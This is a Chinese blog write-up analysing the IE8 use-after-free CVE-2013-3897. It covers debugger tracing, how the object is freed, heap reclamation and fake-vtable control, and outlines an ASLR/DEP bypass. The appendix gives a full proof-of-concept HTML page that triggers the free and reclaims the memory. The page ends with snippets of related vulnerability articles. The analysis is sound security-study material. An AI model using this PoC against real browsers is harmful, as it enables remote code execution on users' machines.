CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)


1. 简介


  此漏洞是UAF(Use After
Free)类漏洞,即引用了已经释放的内存。攻击者可以利用此类漏洞实现远程代码执行。UAF漏洞的根源源于对对象引用计数的处理不当,比如在编写程序时忘记AddRef或者多加了Release,最终导致对象的释放。对于IE的大部分对象(COM编程实现)来说,+4偏移处的含义是该对象的引用计数,可以通过跟踪它来定位补丁前后的位置及被释放的位置。+0偏移处的含义是该对象的虚函数表指针,可以通过它来改变程序执行流程。

2. 实验环境


  操作系统:Win7 SP1

  浏览器:IE8(补丁Windows6.1-KB2879017-x86前)

  漏洞编号:CVE-2013-3897

3. 漏洞分析


3.1. 分析Crash


3.1.1. 运行poc,查看crash


  看到crash原因是 call dword ptr [eax] 处引用了无效的内存空间。查看崩溃处的上下文。

  查看ebx,此时ebx==0031c094。查看函数调用回溯。

  ebx的值也是 mshtml!QIClassID 的第一个参数,mshtml!CDoc::ScrollPointerIntoView
的第二个参数;它是一个0x48大小的对象,也是释放后被重用的对象。

3.1.2. 分析相关代码上下文


  mshtml!CDoc::ScrollPointerIntoView,查看[ebp+0Ch]的变化(即函数的第二个参数,被释放的对象),有如下片段。

 

  在调用mshtml!QIClassID前又调用了mshtml!CDoc::GetLineInfo,因此接下来在mshtml!CDoc::ScrollPointerIntoView和call
mshtml!CDoc::GetLineInfo处设置断点,分析参数二[ebp+0Ch]的状态。

3.2. 跟踪调试、分析漏洞成因


3.2.1. 调试工作准备


  开启gflags.exe的Create user mode stack trace database功能(用于进行堆回溯)。

  在POC中加入如下用于跟踪执行流程的调试语句

    IE8下:Math.atan2(0x999, "[*] Before Unselect");

    IE10下:alert("[*] Before swapNode");

  设置以下断点,观察被释放的对象

    bu mshtml!CDoc::ScrollPointerIntoView

    bu CDoc::ScrollPointerIntoView+0x32

    bu CDoc::ScrollPointerIntoView+0x37

    bu jscript!JsAtan2 ".echo;.printf \"%mu\",
poi(poi(poi(esp+14)+8)+8);.echo;.echo;"

3.2.2. 定位释放后重用的对象


  通过调试语句可以得知执行流程:执行godzilla.onpropertychange = fun_onpropertychange
;后立即触发了onpropertychange事件,调用fun_onpropertychange

  执行godzilla.select();后立即触发了onselect事件,调用fun_onselect;fun_onselect内部执行完swapNode后,会来到mshtml!CDoc::ScrollPointerIntoView。

  观察mshtml!CDoc::ScrollPointerIntoView的参数二[ebp+0Ch] == 046e85b4

  它是一个mshtml!CDisplayPointer对象,因此释放后重用的对象就是 CDisplayPointer
,它在select事件被触发时创建,创建过程如下(注意,这里的046e85b4,相对046e8580偏移为0x34;相对046e8598(UserPtr)的偏移为1c;1c/4=7)

  因此整个过程为godzilla.select();触发onselect事件,调用fun_onselect。在此过程中创建一个mshtml!CDisplayPointer对象,fun_onselect内部执行完swapNode后函数mshtml!CDisplayPointer::ScrollIntoView将要通过mshtml!CDisplayPointe对象来设置新的展示位置。

3.2.3. 跟踪对象释放过程


  后边来到mshtml!CDoc::ScrollPointerIntoView的call
mshtml!CDoc::GetLineInfo处,此时CDisplayPointer 对象还未被释放。

  对这个对象(UserPtr)的释放过程设置断点:

    bu mshtml!CDisplayPointer::Release ".if ( poi(esp+0x4) == 046e8598 ){}
.else{gc}"

    bu ntdll!RtlFreeHeap ".if ( poi(esp+0xc) == 046e8598 ){} .else{gc}"

  因为调用了swapNode,textarea的valueproperty被改变。随后onpropertychange事件被触发,调用fun_onpropertychange

    [*] Enter onpropertychange

    [*] Before Unselect

  document.execCommand("Unselect");的执行,导致了 CDisplayPointer
对象被释放,此时对象释放函数被触发,对象将被释放。

  (如果只对bu
mshtml!CDisplayPointer::Release下断点,之后的几次mshtml!CDisplayPointer::Release:是对其他对象的解引用及释放。)

  通过对象释放的堆栈回溯可以看出,mshtml!CDisplayPointer::ScrollIntoView随后触发了onpropertychange事件,fun_onpropertychange内部的Unselect命令导致了对象的释放。

3.2.4. 内存占位及获取执行流程


  CDisplayPointer对象释放后立即对内存进行占位,通过对RtlAllocateHeap设置条件断点,可以定位内存占位。

  ntdll!RtlAllocateHeap+XXX(定位函数返回时eax的值,换成硬编码)

  77d92eb8 ".if (eax == 046e8598){} .else{gc}"

  然后来到下图所示

  此时对象已经被释放,并被占位。POC中对应的代码:war[i].className = data; 申请了17*4+2=70 (0x46)
最后有个\u0000终止符,因此总数是0x48。

  同时在POC中,在第八个4字节处设置伪造的虚函数表地址(因为0x046e85b4相对UserPtr的偏移为0x1C=4*7,相对堆块起始位置的偏移为0x34),从而控制执行流程。

  如果将POC中对应的代码设置为

  对后来的call mshtml!QIClassID下断点,[ebp+8]即指向释放后重新占位的对象

  其内部将索引对象的第一个虚函数,最终调用call dword ptr
[eax]。此时eax为我们已经布置好的shellcode(最前面是伪造的虚函数表)的地址(即伪造的虚函数表的地址)。call dword ptr
[eax]将调用其第一个虚函数。

4. 漏洞利用


  此UAF漏洞释放后重用的目标是对象的虚函数表,因此通过伪造虚函数表来获取执行流程。由于此漏洞的局限性,我们不能通过它来绕过ASLR只能在利用代码中,只能使用Java
6运行环境JRE1.6的msvcr71.dll(或其他non-ASLR模块)来绕过ASLR。也可以配合其他漏洞,获取模块基址及shellcode的地址来绕过ASLR。最终构造ROP绕过DEP,实现远程代码执行。

  通过non-ASLR模块绕过ASLR的过程比较简单,详见EXP代码。

5.  总结


  UAF漏洞的成因一般都是因为在编程过程中对引用计数的处理不当导致对象被释放后重用的。利用UAF漏洞实现远程代码执行,首先需要Bypass
ASLR,获得模块基址及shellcode的地址(也可以通过堆喷射在指定内存空间布置shellcode),然后硬编码、动态构造ROP来Bypass
DEP,最终实现任意代码的执行。

  不同的UAF漏洞利用方式会有不同,但是分析它们的流程基本一致。参考此文档描述的CVE-2013-3897分析流程,可以很方便的分析UAF类漏洞。

6. 参考资料


[1] CVE-2013-3897漏洞分析:http://www.freebuf.com/articles/system/29445.html

[2] CVE-2013-3897样本分析学习笔记:http://www.91ri.org/7900.html

[3] CVE-2013-3897 UAF Analysis:http://thecjw.0ginr.com/blog/?p=187

7. 附录


7.1. poc.html

<html>

<head>
<script>

var data = "";

//申请了 17 * 4 + 2 = 70 (0x46) 最后有个\u0000 终止符
//因此总数是0x48, 在第八个4字节处设置跳转地址。
for (i=0; i<17; i++)
{
if (i==7)
{
data += unescape("%u2020%u2030");
//data += "\u4141\u4141";
}
else
{
data += "\u4141\u4141";
}
}
data += "\u4141";

function butterfly()
{
for(i=0; i<20; i++)
{
var effect = document.createElement("div");
effect.className = data;
}
}

var battleStation = false;
var war = new Array();
var godzilla ; // Create a CTextArea Object
var minilla ;
var battleStation = false;

function fun_onselect()
{
Math.atan2(0x999, "[*] Before swapNode");
minilla.swapNode(document.createElement("div")); // 调用swapNode,通过交换节点从页面布局删除textarea了,同时触发 onpropertychange 事件;
Math.atan2(0x999, "[*] After swapNode");

// 创建了一个 mshtml!CDisplayPointer 对象
// mshtml!CRichtext::select
// -> mshtml!CDoc::Select -> mshtml!CHTMLEditorProxy::SelectRange
// -> mshtml!CHTMLEditor::SelectRange
// -> mshtml!CHTMLEditor::SelectRangeInternal -> mshtml!CSelectionManager::Select -> mshtml!CSelectionManager::SetCurrentTracker -> mshtml!CSelectTracker::InitPointers -> mshtml!CDoc::CreateDisplayPointer -> ntdll!RtlAllocateHeap

// 触发onpropertychange的过程:
// mshtml!CRichtext::select -> mshtml!CDoc::Select -> mshtml!CHTMLEditorProxy::SelectRange -> mshtml!CHTMLEditor::SelectRange -> mshtml!CHTMLEditor::SelectRangeInternal -> mshtml!CDisplayPointer::ScrollIntoView -> mshtml!CDoc::GetLineInfo -> mshtml!CFlowLayout::GetLineInfo -> ... -> mshtml!CFlowLayout::CommitChanges -> mshtml!CRichtextLayout::OnTextChange -> mshtml!CRichtext::OnPropertyChange -> mshtml!CElement::OnPropertyChange -> mshtml!CElement::Fire_PropertyChangeHelper -> mshtml!CElement::Fire_onpropertychange
}

// fun_onpropertychange第一次被调用时是因为改变了DOM,第二次调用是由swapNode导致的,立即进行内存占位
function fun_onpropertychange()
{
Math.atan2(0x999, "[*] Enter onpropertychange");

if (battleStation == true)
{
for (i=0; i<50; i++)
{
war.push(document.createElement("span"));
}
}

Math.atan2(0x999, "[*] Before Unselect");
document.execCommand("Unselect"); // 使用了document.execCommand("Unselect")命令撤销 select ,导致了CDisplayPointer对象被释放
Math.atan2(0x999, "[*] After Unselect");

if (battleStation == true) // 对已经释放的CDisplayPointer内存进行占位
{
for (i=0; i < war.length; i++)
{
war[i].className = data;
}
}
else
{
battleStation = true;
}

Math.atan2(0x999, "[*] Leave onpropertychange");
}

function kaiju()
{
godzilla = document.createElement("textarea"); // Create a CTextArea Object
minilla = document.createElement("pre");

document.body.appendChild(godzilla);
document.body.appendChild(minilla);
godzilla.appendChild(minilla);

godzilla.onselect = fun_onselect ; // 给textarea元素设置 select 处理函数,当textarea文本框被选中时触发并调用处理函数

Math.atan2(0x999, "[*] Before godzilla.onpropertychange");
godzilla.onpropertychange = fun_onpropertychange ; // 给textarea元素设置 onpropertychange 事件处理函数,当属性变化时触发调用
Math.atan2(0x999, "[*] After godzilla.onpropertychange");

//butterfly();
Math.atan2(0x999, "[*] Before godzilla.select()");
godzilla.select(); // 主动触发 select 处理函数
Math.atan2(0x999, "[*] After godzilla.select()");

}

</script>
</head>

<body onload=‘kaiju()‘>
</body>

</html>

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)

时间: 2024-11-01 10:55:32

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)的相关文章

CVE-2014-0322漏洞成因与利用分析

CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了对漏洞的利用,第一次分析这种IE+Flash组合的漏洞利用因此写下此文档作为记录. 2. 实验环境 操作系统:Win7 SP1 浏览器:IE 10.0.9200.16798(补丁打到MS14-010(KB2909921)) 漏洞编号:CVE-2014-0322 微软补丁:MS14-012 3. 漏洞

CVE-2014-0321漏洞成因分析

1. 简介 最近在补之前落下的想学的东西,古河之前已经在微薄里面公布了此漏洞的poc及利用思路,不过在看古河的文章前我先独立分析一下其漏洞成因,记录下自己的分析流程. 2. 实验环境 操作系统:Win8.1 x86 RTM 浏览器:Internet Explorer 11 32bits (补丁打到KB2909921) 漏洞编号:CVE-2014-0321 微软补丁:MS14-012 3. 漏洞分析 3.1. 分析Crash 3.1.1. 运行poc,查看crash 直接运行poc,崩溃后查看状态

一个利用“永恒之蓝”漏洞传播的挖矿程序分析

背景介绍 近日,渔村安全团队追踪到一个利用永恒之蓝漏洞传播的挖矿程序,其具备高度的模块化和较强的传播能力,在短短数日就感染了数万台用户电脑.针对该突发情况,渔村安全团队迅速组织应急工作,最终使得目前的感染情况受到控制,下文为样本分析. 感染量 从微软发布ms17-010(永恒之蓝漏洞) 的修复补丁到现在已经过去四个月了,相继爆发的利用该漏洞传播的WannaCry,Petya 勒索病毒更是给 我们 上了一课.但目前来看,还是有不少用户没有及时更新补丁或者做相应的缓解措施,同时 Shadow Bro

【转载】利用一个堆溢出漏洞实现 VMware 虚拟机逃逸

1. 介绍 2017年3月,长亭安全研究实验室(Chaitin Security Research Lab)参加了 Pwn2Own 黑客大赛,我作为团队的一员,一直专注于 VMware Workstation Pro 的破解,并成功在赛前完成了一个虚拟机逃逸的漏洞利用.(很不)幸运的是,就在 Pwn2Own 比赛的前一天(3月14日),VMware 发布了一个新的版本,其中修复了我们所利用的漏洞.在本文中,我会介绍我们从发现漏洞到完成利用的整个过程.感谢@kelwin 在实现漏洞利用过程中给予的

转:利用一个堆溢出漏洞实现VMware虚拟机逃逸

转:https://zhuanlan.zhihu.com/p/27733895?utm_source=tuicool&utm_medium=referral 利用一个堆溢出漏洞实现VMware虚拟机逃逸 [作者:李小龙(acez),中文翻译:kelwin] 1. 介绍 2017年3月,长亭安全研究实验室(Chaitin Security Research Lab)参加了Pwn2Own黑客大赛,我作为团队的一员,一直专注于VMware Workstation Pro的破解,并成功在赛前完成了一个虚

ref:PHP反序列化漏洞成因及漏洞挖掘技巧与案例

ref:https://www.anquanke.com/post/id/84922 PHP反序列化漏洞成因及漏洞挖掘技巧与案例 一.序列化和反序列化 序列化和反序列化的目的是使得程序间传输对象会更加方便.序列化是将对象转换为字符串以便存储传输的一种方式.而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用.在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize().反序列化本身并不危险,但是如果反序列化时,传入反序列化函数的参数可以被用户控

最新2018年6月份Wordpress通杀全版本漏洞 详情及利用方法

2018年6月29日,wordpress爆出最新漏洞,该网站漏洞通杀所有wordpress版本,包括目 前的wordpress 4.8.6 以及wordpress 4.9.6版本.可以删除网站上的任意文件,影响危害严重, 甚至是致命的一个漏洞,如果被攻击者利用,后果将不堪设想.截止目前该漏洞还未有被修复, 如果您在使用wordpress,请尽快将wp-includes文件夹下的post.php文件改名,等官方出 wordpress漏洞补丁后,再改回并升级. wordpress是许多站长以及建站公

SharePoint 2013中的默认爬网文件扩展名和分析文件类型

摘要:了解默认情况下 SharePoint 2013 爬网的文件扩展名及其解析的文件类型,可以借此了解搜索可以爬的文件和支持的功能. 如果“管理文件类型”页上的列表包含文件扩展名,爬网组件将仅爬网文件.内容处理组件只能解析爬网文件的内容: 当它具有可解析文件格式的格式处理程序. 当使用格式处理程序解析具有文件格式和文件扩展名的文件时. 默认情况下,SharePoint 2013 满足很多文件类型的这些要求. 默认爬网文件扩展名和解析文件格式 下表显示 SharePoint 2013 具有内置格式

linux下利用elk+redis 搭建日志分析平台教程

linux下利用elk+redis 搭建日志分析平台教程 http://www.alliedjeep.com/18084.htm elk 日志分析+redis数据库可以创建一个不错的日志分析平台了,下面我们来看一篇在linux下利用elk+redis 搭建日志分析平台教程,希望例子对各位有帮助. 这个是最新的elk+redis搭建日志分析平台,今年时间是2015年9月11日. Elk分别为 elasticsearch,logstash, kibana 官网为:https://www.elasti